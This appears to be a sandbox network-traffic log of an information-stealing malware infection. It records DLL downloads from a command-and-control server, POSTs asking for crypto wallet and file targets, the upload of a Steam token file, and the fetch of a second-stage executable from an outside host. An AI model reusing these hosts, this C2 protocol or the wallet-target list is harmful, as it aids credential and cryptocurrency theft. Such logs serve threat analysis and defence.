63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 18:00:26.290220976 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:26.463059902 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:00:26.858546019 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:27.032321930 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 18:00:27.390017033 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:27.559037924 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 18:00:29.484843016 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:29.654000044 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 18:00:29.935602903 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:30.128428936 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 18:00:30.368498087 CEST	199	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 46.8.231.109 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:30.854775906 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:30.882411957 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"wallets------FBKJKEHIJECGCBFIJEGI--
Oct 7, 2024 18:00:31.061281919 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 18:00:31.064408064 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"files------GIEHJDHCBAEHJJJKKFID--
Oct 7, 2024 18:00:31.238018990 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:31.247749090 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="file"------CFHIIEHJKKECGCBFIIJD--
Oct 7, 2024 18:00:31.462332010 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:31.464867115 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"ybncbhylepme------GCAKKECAEGDGCBFIJEGH--
Oct 7, 2024 18:00:31.665064096 CEST	322	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 96 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 32 35 7a 5a 47 30 75 59 33 56 74 63 47 46 79 4c 57 46 31 64 47 38 74 62 33 4a 70 59 32 55 74 64 47 6c 77 4c 6e 4a 76 4c 32 78 6b 62 58 4d 76 59 54 51 7a 4e 44 67 32 4d 54 49 34 4d 7a 51 33 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 77 3d Data Ascii: aHR0cDovL25zZG0uY3VtcGFyLWF1dG8tb3JpY2UtdGlwLnJvL2xkbXMvYTQzNDg2MTI4MzQ3LmV4ZXwwfDB8U3RhcnR8NHw=
Oct 7, 2024 18:00:33.000453949 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIIDBKJJDGHDHJKEHJDB--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	147.45.44.104	80	6236	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:00:31.717473030 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 7, 2024 18:00:32.293472052 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:04 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 15:48:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "670402c0-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dc 02 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 